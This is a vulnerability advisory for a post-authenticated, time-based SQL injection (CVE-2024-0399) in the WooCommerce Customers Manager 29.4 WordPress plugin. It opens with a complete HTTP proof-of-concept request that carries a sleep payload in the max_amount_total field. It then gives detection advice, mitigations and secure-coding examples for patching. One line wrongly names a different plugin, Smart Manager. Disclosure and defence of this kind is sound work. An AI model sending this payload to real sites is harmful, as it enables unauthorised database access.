WooCommerce Customers Manager 29.4 - Post-Authenticated SQL Injection
# Exploit Title: WooCommerce Customers Manager 29.4 - Post-Authenticated SQL Injection
# Date: 2024-03-25
# Exploit Author: Ivan Spiridonov - xbz0n
# Software Link: https://codecanyon.net/item/woocommerce-customers-manager/10965432
# Version: 29.4
# Tested on: Ubuntu 22.04
# CVE: CVE-2024-0399
## SQL Injection
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to an SQL injection exploitable by Subscriber+ role.
## Affected Components
- **Plugin:** WooCommerce Customers Manager
- **Version:** 29.4
- **Affected Parameters:** 'max_amount', 'max_amount_total', 'min_amount', 'min_amount_total'
- **Affected Endpoint:** /wp-admin/admin-ajax.php
## Description
The vulnerability is located within the transaction amount parameters like 'max_amount', 'max_amount_total', 'min_amount', and 'min_amount_total' used in the admin AJAX endpoint. By injecting SQL commands into these parameters, authenticated attackers can manipulate SQL queries leading to a time-based SQL Injection vulnerability.
## Proof of Concept
### Manual Exploitation
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295
Content-Length: 1877
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="action"
wccm_get_orders_tot_num
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="start_date"
2024-01-09
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="end_date"
2024-01-11
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="customer_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="category_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount_total"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount_total"
(select*from(select(sleep(20)))a)
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_filters_relationship"
and
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="statuses"
wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft
-----------------------------2461714219322283440478088295--
```
If the server response is delayed by approximately 20 seconds, it indicates a successful exploitation of the time-based SQL Injection, confirming the vulnerability.
## Recommendations
Users of WooCommerce Customers Manager v29.4 are strongly advised to restrict access to the affected endpoint and update the plugin as soon as a fixed version is released. This advisory serves as a notice to all users of Smart Manager v8.27.0 to take immediate action in updating their plugin to protect against this SQL Injection vulnerability. Overview
WooCommerce Customers Manager v29.4 contains a post-authenticated SQL injection vulnerability (CVE-2024-0399) in the handling of transaction amount filters. An authenticated user with at least a Subscriber-level account (or any role allowed to access the affected AJAX action) can manipulate certain numeric parameters that are embedded into SQL without safe sanitisation or parameterisation. This can allow SQL injection attacks, including time-based blind techniques that confirm successful exploitation.
Affected components
- Plugin: WooCommerce Customers Manager
- Version: 29.4
- Affected parameters: transaction amount filters such as min_amount, max_amount, min_amount_total, max_amount_total
- Affected endpoint: WordPress admin AJAX endpoint handling the plugin action(s)
- Required privileges: authenticated user (Subscriber+ or any role permitted to call the AJAX action)
Why this is dangerous
When numeric parameters are concatenated into SQL statements without proper validation and binding, attackers can inject SQL fragments that change the query logic or cause the database to perform expensive or delayed operations. Even if the attacker cannot extract rows directly, time-based or boolean blind techniques can be used to infer sensitive data or disrupt service.
Common root causes
- Using unvalidated input directly in SQL string concatenation.
- Missing use of $wpdb->prepare or other parameterised query mechanisms.
- Insufficient capability checks for AJAX actions and missing nonce verification.
High-level technical analysis
The plugin exposes an AJAX action that accepts several filter parameters. Some of these are intended to be numeric amounts but the code does not reliably coerce or bind them as numbers before constructing a query. If the plugin inserts the raw parameter text into a WHERE clause or meta query, special SQL syntax supplied by an attacker can alter the executed SQL.
Responsible testing and analysis can detect the issue without reproducing exploit payloads. Indicators include unexpected SQL timing variations, error responses from the database, or abnormal query strings in database logs when submitting crafted inputs via the AJAX endpoint.
Detection and monitoring
- Monitor webserver and database logs for anomalous parameters submitted to admin-ajax.php (especially non-numeric values in amount fields).
- Enable query logging on a staging system to capture malformed queries for review.
- Use application-layer WAF rules to detect and block typical SQL injection patterns against AJAX endpoints.
- Check plugin and WordPress updates and vendor advisories; scan your installation with an automated vulnerability scanner that checks for CVE-2024-0399.
Mitigation and remediation
There are immediate and long-term actions to mitigate risk:
- Immediate: Restrict access to the vulnerable AJAX action — limit who can call the action (capability checks), restrict admin-ajax access where possible, and apply WAF rules that block suspicious payloads.
- Patch: Update the plugin as soon as an official fix is available from the vendor.
- Defence in depth: Add server-side validation to coerce and validate numeric inputs; use parameterised queries ($wpdb->prepare) rather than concatenating values into SQL.
- Harden AJAX handlers: Enforce nonces via check_ajax_referer and verify current_user_can before processing sensitive actions.
Secure coding examples (WordPress)
The following examples show safe ways to handle numeric inputs and build queries in WordPress. These are defensive patterns you can apply when patching the plugin.
// Safe input coercion: force numeric values and provide defaults.
$min_amount = isset($_POST['min_amount']) ? floatval($_POST['min_amount']) : 0.0;
$max_amount = isset($_POST['max_amount']) ? floatval($_POST['max_amount']) : 0.0;
This snippet casts incoming POST parameters to float using floatval(). Casting prevents textual SQL fragments from being injected and ensures the values are usable as numbers in subsequent logic.
// Example: using $wpdb->prepare to avoid SQL injection
global $wpdb;
$table = $wpdb->prefix . 'postmeta';
// Use %f for float placeholders, %d for integer, %s for string.
$sql = $wpdb->prepare(
"SELECT post_id FROM {$table} WHERE meta_key = %s AND meta_value BETWEEN %f AND %f",
'_order_total',
$min_amount,
$max_amount
);
$results = $wpdb->get_col($sql);
Explanation: $wpdb->prepare binds PHP variables to SQL placeholders. The placeholders enforce type formatting and escaping, preventing an attacker from injecting raw SQL. Use the correct placeholder type (%d, %f, %s) for the data you expect.
// Secure AJAX handler skeleton with capability and nonce checks
add_action('wp_ajax_wccm_get_orders_tot_num', function() {
// Require logged-in users and verify a nonce
if ( ! current_user_can('manage_woocommerce') ) {
wp_send_json_error('Insufficient privileges', 403);
}
check_ajax_referer('wccm_nonce_action', 'security');
$min_amount = isset($_POST['min_amount']) ? floatval($_POST['min_amount']) : 0.0;
$max_amount = isset($_POST['max_amount']) ? floatval($_POST['max_amount']) : 0.0;
// Parameterised query example (see previous snippet)
// ... perform safe query and return results ...
});
Explanation: Before processing the request, the handler checks the current user's capability and verifies a nonce (CSRF token). These steps reduce the attack surface: only authorised users can trigger the action and automated requests without a valid nonce are rejected.
Recommended patch checklist for plugin authors
- Validate and coerce expected numeric inputs (use
intval(),floatval(), or filter functions). - Use
$wpdb->prepareor prepared statements to bind all user-controlled values into SQL. - Perform capability checks (e.g.,
current_user_can('manage_woocommerce')) and require nonces for AJAX actions. - Sanitise and normalise inputs early: reject values that do not meet numeric expectations rather than attempting to "clean" arbitrary strings.
- Limit which roles can call sensitive AJAX endpoints; consider moving certain admin-only actions out of admin-ajax in favour of REST endpoints with proper permission callbacks.
- Include robust logging of unexpected input types and monitoring alerts for repeated malformed requests.
Detection signatures and monitoring tips for defenders
- Create WAF rules blocking SQL keywords or functions in numeric fields (but avoid over-blocking legitimate input).
- Alert on unusually long request processing times to admin-ajax.php — time-based blind injections often cause delays.
- Watch for repeated failed nonce or capability check attempts indicating reconnaissance or exploitation attempts by low-privileged accounts.
Vendor and disclosure notes
The vulnerability is tracked as CVE-2024-0399. Site owners using affected versions should prioritize updates from the plugin author. If an immediate update is not available, apply the mitigations described above (restrict access, validate inputs, parameterise queries) and monitor for suspicious activity.
Conclusion
SQL injection in backend admin AJAX handlers is a critical risk because it combines external input with privileged database access. Patch promptly, validate and bind all inputs, and enforce strong capability and nonce checks for AJAX actions. These defensive measures prevent both direct exploitation and blind/time-based attacks that attempt to exfiltrate or disrupt data.